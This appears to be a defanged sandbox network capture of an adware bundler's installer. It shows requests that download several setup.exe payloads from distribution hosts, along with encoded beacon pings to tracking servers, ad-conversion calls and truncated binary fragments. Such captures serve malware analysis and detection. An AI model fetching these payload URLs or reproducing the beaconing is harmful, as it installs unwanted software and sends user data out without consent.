User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:30:03 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 22 Feb 2015 05:40:03 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 555

X-Cache: Hit from cloudfront

Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: whMiY2vq8Ys0FwAbKTm7Xa9KZ7m030T10_BwY2aeZb8j5Xpo1tyxiw==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /eas?cu=5600;ty=pc HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: as.perfcreatives.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

Date: Tue, 24 Feb 2015 02:02:59 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Cache-Control: no-cache, must-revalidate

Expires: Thu, 18 May 2006 01:00:00 GMT

P3P: CP="NOI DSP COR PSAo PSDo BUS OUR"

Set-Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; path=/; expires=Tue, 24-Feb-15 15:02:59 GMT;

Set-Cookie: eas_uid=1-1424743379432100746; path=/; expires=Mon, 16-Mar-20 01:00:00 GMT;

Location: hXXp://as.perfcreatives.com/pixel.gif

Content-Length: 353

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>302 Found</title>.</head><body
>.<h1>Found</h1>.<p>The document has moved <a 
href="hXXp://as.perfcreatives.com/pixel.gif">here</a>.</p&
gt;.<hr>.<address>Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2
.3 OpenSSL/0.9.8e-fips-rhel5 Server at as.perfcreatives.com Port 80<
;/address>.</body></html>...

GET /app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl86aIQg3pa3BisHEelWCJ5f HOYncO4wem9RYSXT9Ba DgmTMHWxjt3B54/jA6EY66 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gureDWQ0PVCPAb88FLMj8pa5Hlxg1yEv0UZLvbZAOELZbv6yiY0E 0oxf/EhfubMm26CHUhiePxePX09N2cJ6TJq7UBiib7xhdjjmLmZHdZuUgm988pbBE198Bbak1i16fYytqnU4k0fribeIhZIOGE97wVhdsCjsSAEPXN q8jqNmOw9/8 JsFyqVmlcrEFGpX3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70QSNoRB gt8ync1CT2WtP sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I 85El9n2 aiLUtvx5Djtr01 wijt4G8u35aCrbjjT16RgOiHkm zH AUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=2fVCHF6kf8ip2eBShmJaQJ/TkbZ2czqA0HNFn9uIS7 ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1tPZRMWVoGLe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vSGwtB4m15smKau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:17 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHBmYA1eYstdQCX1qBcC9A4kJ9S0hCZVgoupoWpTVOft0GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3o IxZJnUl9W4uZ/p4emFS336Kc9MtkO2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:18 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=KC46TpkJIZzYLhsRuGeUaZ/TkbZ2czqAQSWJ1Zpu6n ovKrJ6qtuelLEqfJll8EjZuS0/O3oV2rYybLSKYXwfmRMnMnoBE37ZBq10WFfTMhgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvW09lExZWgYt7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9KujLQh7/WHkpq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:18 GMT

Content-Length: 0

....

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCEFIA5aolVvwahu2WydRLM8c= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1762

content-transfer-encoding: binary

Cache-Control: max-age=595842, public, no-transform, must-revalidate

Last-Modified: Mon, 23 Feb 2015 23:28:32 GMT

Expires: Mon, 2 Mar 2015 23:28:32 GMT

Date: Tue, 24 Feb 2015 02:02:12 GMT

Connection: keep-alive

0..........0..... .....0......0...0......;O}a.!..u...au..eUNp..2015022
3232832Z0s0q0I0... ...................B.>.I.$&.....e......0..C9...3
13..R...%V.......K3.....20150223232832Z....20150302232832Z0...*.H.....
........Y....y....,N...q..40........5.y_...1.3Y.."0.d3.....G..h.."F.f5
*Y.1......T.....krk.t....0........}..?..U"p.Sg;a...O.........)m$9.^...
M....?&dRQ.\.f.]...[.. ..v../..oAR.{..v.#4.g.E..&.......B7P0.....NR ..
Qi.,&P.n.w..g.z.......j.rvQY.}Z.*.j.......[(B........$....0...0...0...
........2...'U.BM...g.B0...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1:08..U...1(c) 2006 VeriSign
, Inc. - For authorized use only1E0C..U...<VeriSign Class 3 Public 
Primary Certification Authority - G50...141202000000Z..151216235959Z0.
.1.0...U....US1.0...U....Symantec Corporation1.0...U....Symantec Trust
 Network1?0=..U...6Symantec Class 3 PCA - G5 OCSP Responder Certificat
e 30.."0...*.H.............0...............2&..PL...,..2....:..tH...`J
G.%..*...s.c%[email protected]"1.5?..s.....3[.
..u......]...R0..Z}....l..I.Y.....j\H.q...#.uw.4qz.#.J.....@2$"..$l.B.
......D.ye..(..2.........@...... ...."... E..0M,..b{.^..s'....f.6.pr4.
J........'j..........0...0...U.......0.0l..U. .e0c0a..`.H...E....0R0&.
. .........hXXp://VVV.symauth.com/cps0(.. .......0...hXXp://VVV.symaut
h.com/rpa0...U.%..0... .......0...U...........0... .....0......0!..U..
..0...0.1.0...U....TGV-B-2760...U......;O}a.!..u...au..eUNp0...U.#..0.
....e......0..C9...3130...*.H.............(.&..Dgr.Ve..#...5.N.v.Q

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTSqZMG5M8TA9rdzkbCnNwuMAd5VgQUz5mp6nsm9EvJjo/X8AUm7+PSp50CEF1tL3zAt8MdpkWloaIHgTk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1725

content-transfer-encoding: binary

Cache-Control: max-age=475863, public, no-transform, must-revalidate

Last-Modified: Sun, 22 Feb 2015 14:13:15 GMT

Expires: Sun, 1 Mar 2015 14:13:15 GMT

Date: Tue, 24 Feb 2015 02:02:13 GMT

Connection: keep-alive
0..........0..... .....0......0...0......u\..3Oo?U...H.....O!..2015022
2141315Z0s0q0I0... ...................F....0.yV......{&.K......&......
.]m/|.....E.....9....20150222141315Z....20150301141315Z0...*.H........
.........P.....L. ......{......_.).2.pR..D...j..X.d.....fY...|F.br1.Lz
|...[.....[..{.Bp.c%.0............f.. ...b\....?....ti.!.JT...hUH..'.|
..}...$7R.....nn.P..s....#..~,.. .........K.\m..0......l...%...m.k>
.M....A...r.ES.U...Z....*...q9"..V....c....j.ZS.g.........0...0...0...
......./...nj0...}..i..0...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)101.0,..U...%VeriSign Class 3 Code Sign
ing 2010 CA0...141204000000Z..150304235959Z0..1.0...U....US1.0...U....
VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1VeriSign Cla
ss 3 Code Signing 2010 OCSP Responder0.."0...*.H.............0........
.4.4...........o....?..f.........I.!.b.L...L..U.........rM.,.....=..cR
4d.~*..k..x......=.WT.<.A2n1.qZyM.M..Q_...8....9....d.... ...'.....
....h..Z..I...(.b.jK..DO.ra..gb..j..A.(....mrzU.w.......Bv...l.:s..L..
..y.....u..n.)W......Y!....Q...,.i|.....:.Mu..DD1.........0...0...U...
.0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign
.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. 
by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U......
..0... .....0......0"..U....0...0.1.0...U....TGV-B-24600...*.H........
[email protected].=.. ...........hi.......>....Q.?<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:01:59 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424713167"

Last-Modified: Mon, 23 Feb 2015 17:39:27 GMT

Cache-Control: max-age=2275

Content-Length: 212896

Content-Type: application/x-msdownload

X-HW: 1424743320.dop018.am4.t,1424743319.cds045.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1.S.u}=.u}=.
u}=.|...p}=.u}<.|}=.x/..t}=.x/..t}=.Richu}=........................
.PE..L...rt.T..................................... ....@..............
............0..............................................` ..<...
.................-....................................................
........... ..,............................text...[...................
........ ..`.rdata..n.... ......................@..@..................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................U.........E........E
.....E..}.....}......k.....`......h......`...Pj.... @.j.h....j.j.j.h..
.@hR @.... @..E...., @..M..U.....U..N @..E.j.h....j.j.j.h......`...Q..
. @..E.j.j..U.R.E.P... @..E......E........M.....M..U.;U.}Mj..E.Pj..M.Q
.U.R... @..E.%....y.H...@.... @...U.3..U.j..E.Pj..M.Q.U.R... @....E.P.
.. @.j.j.... @.PhR @.j.j...$ @.j.... @.3...]..........................
......................................................................
..................................................................

<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:35 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.63 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:35 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.63 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=437364-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 437364-583151/583152

Content-Length: 145788

Connection: keep-alive
HTTP/1.1 206 Partial Content..Pragma: no-cache..Content-Type: applicat
ion/octet-stream..Server: Microsoft-IIS/7.5..Content-Disposition: atta
chment; filename=SourceAppSetup.exe..X-AspNet-Version: 4.0.30319..SVR:
 SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Cache-Control:
 private, max-age=86400..Expires: Wed, 25 Feb 2015 02:00:31 GMT..Date:
 Tue, 24 Feb 2015 02:00:31 GMT..Content-Range: bytes 437364-583151/583
152..Content-Length: 145788..Connection: keep-alive......s.....E:y..I.
..OXz.E..r....L....5..`....#.*Y.'-.U....>....*ks..d...#.@..%p....oG
..._...<.....M..#...............{......q7...,.bOd.........s..8..<
;..C...e.........q..^1...dR#M..3.=.....j;R... ...)....%.-..B..6.X.....
..5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.2.-L....R.[4..P .
!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1...5'.^.).O.....:
.."...tZ.s..........~e@..........%....F...."nyw%l.4...O.o{....Pe..d...
Y...m.E.......Y..!...g..K...znz....5....l.-s.......6ONw......,.23.`..z
P$cM..n",^./L%p./....W.hol..p)..(.'..B4.F.."...'.Bp....OB.V......\....
.._..o.`.. ........*ZGA..2K........Y.s5P.aGD.._,.. ....G...a/[.k..j.L.
........*i".Q5;..&..D..f.gh\......c....>...|..c.K..h....4 .U.....7~
....l......BQ<......d_.&...!......nEC..S..^.Sp...m........ _'_.....
.3.><[email protected].......^.~....v.u.#4..3J...rrh...w......
S.....J<.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*/c...juSR.q.]....
d...r.{[email protected].;.h....=.Xx..Z..$.5....3v..v.
.!..~W.c.G....)yL.^.....w.2...`....;\....H.}z{.....O ..B..!4:.%.b;<<< skipped >>>

GET /download.php?msorder=5&smsorder=0&campaign=14776&tracker=2200 HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: app.easy-burner.com

Cache-Control: no-cache

Cookie: softdown=1424743234122287; install_cookie=14776,,


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:34 GMT

Content-Type: octet-stream

Connection: keep-alive

Set-Cookie: install_cookie=14776,,; expires=Thu, 26-Mar-2015 02:00:34 GMT; path=/; domain=easy-burner.com

Content-Disposition: filename=easyburner-setup.exe

Content-Length: 1498064

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 636

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zATcMZuNEKSyQpmTSya2n-wuzoFDypoi-sdm_KoNzmhTJUmEZJkz8A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
...................................t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........<<< skipped >>>

GET /ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com


HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848&ipr=y

Cache-Control: private, max-age=43200

Date: Tue, 24 Feb 2015 02:03:01 GMT

Expires: Tue, 24 Feb 2015 02:03:01 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 1036

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/990060061/?rand
om=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&v
alue=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=
ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&
;u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&
frm=0&url=http://VVV.easy-burner.com/en/software/install/?camp
aign=14776&eme=×tamp=1424743235116948&tracker=2200%
26tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8%
26suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2
=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743
354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&
ct_cookie_present=false&cdct=2&convclickts=0&random=359883
1848&ipr=y">here</A>...</BODY></HTML>..HTTP/1
.1 302 Found..Location: hXXp://VVV.google.com.ua/ads/conversion/990060
061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&labe
l=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=85
7&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&f
rm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign%
3D14776&eme=×tamp=1424743235116948&tracker=2200%2<<< skipped >>>

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Gf2NRySioDRRvM76 kd7VSGiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxcjUlmgcQNjyx/48vBuBRiWOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCGvd gjBe894cIKTRSXbmWRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpL6yW5mvSlLtYtrOl7BfDWPc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4BSr28YVyfPg8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf90cltsObsHAm681c60PFlv7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdhnIk748hir7WCArG4HtKvdX1gPBPGd4Ge3xOrzwgctLXgdMQkcq0fio9Ph7xjyM7L1FnmdVPV64GxCWHShI1IMEHFTJ3nGcqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXB54/jA6EY66 BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurYIjxAZ2c7xkwB5esNx9efU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

